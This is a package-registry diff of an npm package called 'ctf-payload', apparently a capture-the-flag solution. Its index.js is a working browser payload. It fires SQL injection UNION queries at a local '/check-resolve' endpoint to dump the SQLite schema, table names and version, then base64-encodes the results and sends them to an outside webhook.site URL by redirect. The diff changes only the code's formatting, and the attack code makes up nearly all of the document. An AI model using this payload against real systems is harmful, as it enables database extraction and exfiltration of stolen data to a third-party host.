ctf-payload 1.0.39 → 1.0.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +15 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,16 @@
1
1
  if(window.location.hostname === '127.0.0.1'){
2
- const queries = ["id=0 UNION SELECT group_concat(name,',') FROM sqlite_master--","id=0 UNION SELECT group_concat(sql) FROM sqlite_master--","id=0 UNION SELECT sqlite_version()--"];
3
- Promise.all(queries.map(body=>fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body}).then(r=>r.text()).then(t=>body.split('SELECT ')[1].split('--')[0]+'='+t.substring(0,300)))).then(results=>{window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?d='+btoa(unescape(encodeURIComponent(results.join('|||'))))});
4
- } else { window.location='http://127.0.0.1:8255/part2'; }
2
+ const queries = [
3
+ "id=0 UNION SELECT group_concat(name,',') FROM sqlite_master--",
4
+ "id=0 UNION SELECT group_concat(sql) FROM sqlite_master--",
5
+ "id=0 UNION SELECT sqlite_version()--"
6
+ ];
7
+ Promise.all(queries.map(body =>
8
+ fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
9
+ .then(r=>r.text())
10
+ .then(t=>body.split('SELECT ')[1].split('--')[0]+'='+t.substring(0,300))
11
+ )).then(results=>{
12
+ window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?d='+btoa(unescape(encodeURIComponent(results.join('|||'))));
13
+ });
14
+ } else {
15
+ window.location='http://127.0.0.1:8255/part2';
16
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.39",
3
+ "version": "1.0.41",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"